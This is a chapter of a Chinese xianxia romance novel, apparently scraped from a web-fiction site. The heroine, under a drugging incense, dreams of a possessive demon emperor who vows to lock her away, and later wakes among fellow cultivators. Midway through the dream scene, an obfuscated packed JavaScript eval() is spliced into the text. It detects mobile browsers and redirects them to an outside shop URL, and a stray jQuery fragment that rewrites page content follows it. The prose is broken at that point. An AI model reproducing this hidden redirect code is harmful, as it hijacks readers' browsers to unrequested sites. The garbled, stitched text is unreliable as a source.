滚烫、潮热、濡湿。
奔跑耗尽了体力,可缠情梦的效力柔靡而深入,不得不努力逃离。
漫长到看不见尽头的颠簸,檀奉灵的意识蒙上了暧昧温热的混沌。
她难以抑制地呼出一口热气,黑润的眸子没什么焦点地盯着黄与赤交叠的纱帐。
月辉明暗三度,帘帐拂动又垂落。
待神思迟缓归位,她终于看清了自己在哪里——妖皇宫深处,九方巽天囚禁过她的寝宫。
月光穿过窗棂,铺开一段惨淡的银,反而衬得殿内更暗。
空气里浮动着暖香,混杂着一缕极淡的、属于他的凛冽气息。
他就在那儿。
九方巽天背对她立在窗前,玄黑帝袍丢弃在地,只随意披了件深紫近黑的长衫,衣襟松敞,露出锁骨的凌厉线条与一小片蜜色胸膛。
仅一道背影,便压得人透不过气——孤绝、睥睨,仿佛与整座幽暗宫殿长在一起,浸透了血腥与权势。
檀奉灵心脏无端一紧。她想后退,想清醒,可梦境的黏腻拖拽着她的理智,令她不由自主地动摇。
仿佛感应到她的注视,男人缓缓转过身。
那张脸依旧俊美近邪,眉骨锋利,鼻梁高挺,薄唇勾着漫不经心又饱含讥诮的弧度。
只那双漆黑妖瞳望向她时,眼底情绪深得骇人:毫不掩饰的偏执、未被满足的渴望,还有一种近乎疼痛的专注。
像蛰伏的凶兽终于等到了唯一的猎物,既想撕碎吞噬,又因某种可笑的珍视而强行按捺,于是欲望发酵成更磨人的东西。
“回来了?”他开口,声线低哑。
没有质问,没有暴怒。平静得反常,像暴雨前粘稠的宁静。
檀奉灵喉咙发干,梦里失了平日的镇定,只能凭借本能硬着头皮回应:“…这里不是真的。”
“真与假,有区别么?”他低笑一声,那笑声没什么温度,像羽毛刮过耳廓,带来一阵战栗。
“你在这里,我在等你,便是真。”
他朝她走来,步缓而沉,衣摆曳过光滑地面。檀奉灵脊背绷紧,如同被大型掠食者侵入领地。
他的气息随距离逼近愈发浓烈,似是草木微苦混着虚无的冷涩,丝丝缕缕缠缚上来。
梦境的法则剥夺了她部分对身体的控制,也削弱了她心防的壁垒,檀奉灵感觉自己像引颈待戮。
九方巽天在她一步之遥停住,垂眸看她。高大的身影笼罩下来,阴影将她密密包裹。
他伸出手,指腹温烫,拨开她汗湿的额发。动作堪称轻柔,眼神却仿佛在审视一件失而复得且必须打上独占烙印的所有物。
“那一剑,捅得可真狠。”
语气平淡,带着点玩味的点评,像在说别人的事。只是黑瞳深处滑过的一线猩红,泄露了真实情绪。
檀奉灵眼睫一颤。梦境放大了感官,也放大了那缕说不清道不明的刺痛。
她别开眼,低声呛道:“……是你逼的。”
“是,我逼你的。”
檀奉灵抬眼,与他对视,神色间略有讶异,她没料到自己随口胡诌的话,他会坦然承认。
九方巽天拇指缓缓摩挲她下颌柔嫩的肌肤,力度渐重,留下淡红痕迹。
“我拿一念宗逼你,拿那只红鸟逼你,用尽手段想留你在身边……因为除此之外,檀奉灵,我不知道还能如何让你看我一眼。”
他的声音低下去,头也低下来,灼热的呼吸喷洒在她额际,裹挟着一股阴郁的执拗。
“你看檀羽,看同门,看路边野草,连看那些碌碌凡人……都比我用心。我对你而言,算什么?一个强取豪夺的疯子?一个只会靠威胁让你屈服的可怜虫?”
檀奉灵脑袋发懵。
天地良心,自己从没这样想过。
眼前的九方巽天越真实,檀奉灵越确信这是梦。
在她心里,他是强大的、危险的、不择手段的,他的“在意”不过是占有与征服。
而这带着自弃的偏执,这笨拙到只会用伤害引起注意的渴求……绝不会属于他。
“你……”她张了张嘴,不知该说些什么。
“我什么?”九方巽天凑得更近,鼻尖相抵,暗红的妖瞳死死锁住她,额角青筋隐现,“你若肯留在我身边,这世间一切,我都能捧到你眼前。”
继而语调陡然转冷,戾气森然。
“可你总想逃,甚至为别人伤我……”
他揽住她的腰,将她带进怀里,唇贴近耳畔,一字字渗入:
“……那我只能把你锁在只有我看得见的地方。日日夜夜,直到你眼里、心里,只剩我一个。”
檀奉灵默默听着这句经典台词,脑袋里冒出一个问号。
她心里没有恐惧,只有对自己的怀疑,难道她潜意识希望九方巽天给她安排一个「霸道妖皇爱上我」的剧本?
不能吧。
檀奉灵直直望进他暗流汹涌的妖瞳,神情里带着不自知的挑衅和期待:
“你…试试看?”
这句话,等同火上浇油又添了把干柴
九方巽天的眼瞳彻底化为血色。
吻重重压下,带着强势的侵略,蛮横撬开齿关,吞噬呼吸,碾磨唇舌,似要将她拆吃入腹,连灵魂都烙上印记。
檀奉灵闷哼一声,生涩地回应。指甲无意识陷进他后背衣料,如溺水者抓住浮木。
许久,他才略略退开,容她喘息。
两人额头相抵,呼吸交错,同样急促。他眸色多了几分深沉而痛苦的迷恋,怜惜地擦过她微肿的唇瓣。
“你逃不掉的,师姐。”
他喑哑低语,如言灵缚咒,
“无论天涯海角,无论你是人是仙……你注定与我一起。恨我也好,伤我也罢,就算杀了我……”
他顿了顿,眼里涌动着癫狂的偏执,“我的魂魄也会缠着你,永生永世。”
话音落地,檀奉灵闻到了浓重的血腥气,连自己口中也漫开铁锈味。宫殿光线昏暗,不知是不是看错,他心口处似泅开了一团深色痕迹。
若在现实,这种场景和话语只会让她毛骨悚然,以为对方下了某种绑定神魂的禁咒,百分百要加倍逃离。
可在这光怪陆离的梦境里,在被媚香模糊了理智以至于色令智昏的此刻,在檀奉灵看来,这份极端到可怕的执着,就是两人之间的情趣,当不得真。
于是她轻轻应道:“好啊。”
九方巽天一怔,随即眸光大亮。他扯下腕间墨珠,两颗丢进檀奉灵储物戒,剩余珠串自动接续,重新缠回腕上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245420|197874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“记住这一刻,师姐,这不是幻象。”
她没有答,只是闭眼,放任自己沉入更深的梦里。
而在她看不见的角度,九方巽天紧紧拥着她,将脸埋在她颈侧,贪婪汲取她的味道。
唇角抿成了一条僵直的线,眼底翻涌的,是几乎要将彼此都焚毁的炽热,以及深埋于疯狂之下的一丝卑微祈盼。
……
檀奉灵猛然惊醒。
额际沁出细汗,心在胸腔里狂跳,唇上恍惚还残留着虚幻热烈的触感。
她仍伏在醉月楼的桌案上,四周是横七竖八陷入沉睡的众人,兰旌的媚香余韵未散,但秦弄玉已不知所踪。
是梦。
却又无比真实。
她直起身,脸色微沉。那血腥味并非错觉,她喉咙里确实咽下过血。
兰旌……这楼里只有他和他的弟子是清醒的。
三楼传来响动,奕心等人也陆续转醒,神色各异。
观澈发现秦弄玉不在,醒来时挂在唇边的笑意顿时消散。他瞥了眼沉默的谢清一,转身离去。
奕心猜到自己被兰旌算计了,气得甩出千机锤,边骂边猛猛砸场子。
奕真与柳惊寒差不多同时醒来,两人本就压着火,当即交手游斗出门。
反倒是病弱的陆亦尘状态最好,面色还红润了些,挨挨蹭蹭挪到谢清一身旁。
谢清一冷声:“不去寻你的好友柳惊寒?”
陆亦尘一听语气不对,连忙摆手:“他算什么好友!不过是托他买过惑心草,欠个人情罢了。”
谢清一神色稍缓:“浩然宗上下都快魔怔了,说什么天道降下启示、宗门使命,连一念宗的预言都要质疑。我看就是柳惊寒针对灵儿。你离他远些,本就身子不好,别沾了晦气。”
陆亦尘乖乖点头:“我肯定站在咱们崽崽这边。”
谢清一视线扫过全场,唇角微勾:“别这么叫,她听了又要恼。”
陆亦尘小声嘟囔:“叫惯了嘛……”
“叫谁崽崽呢?”
檀奉灵从二楼跃上,幽幽开口。
陆亦尘吓了一跳。谢清一倒是神色如常,面露欣赏:“灵儿修为又有精进,总算肯把心思放在正道上了。”
檀奉灵:“打住。你俩也就比我大二十来岁,说起来都是同辈。再摆长辈架子试试?”
说到最后,脸上的表情已是有点没辙的麻木复述。
谁让她当年误入一个幻境,成了这两人襁褓中的“女儿”,被他们抚养“长大”。后来她才知晓,那原是陆亦尘追求谢清一鼓捣出来的小把戏,而她误闯进去,成了他俩play的一环。
虽然幻境破除、误会澄清后,三人重新认识,但这两人见了她,总忍不住露出那种慈爱宠爱的神色。
而且因在幻境里,陆亦尘的角色是被猎户娘子买回家的小娇夫,身为“女儿”的檀奉灵基本是他一手带大,故而“崽崽”这称呼叫了十几年,早成了口癖。谢清一表面改了称呼,那“我是长辈”的态度却依旧。
檀奉灵在幻境里没得选,出来后可不想平白矮一辈。
两人见她真要恼,方才稍作收敛。只是那退让的姿态着实叫人上火,活像她是无理取闹的孩童,他们身为长辈只好无奈包容似的。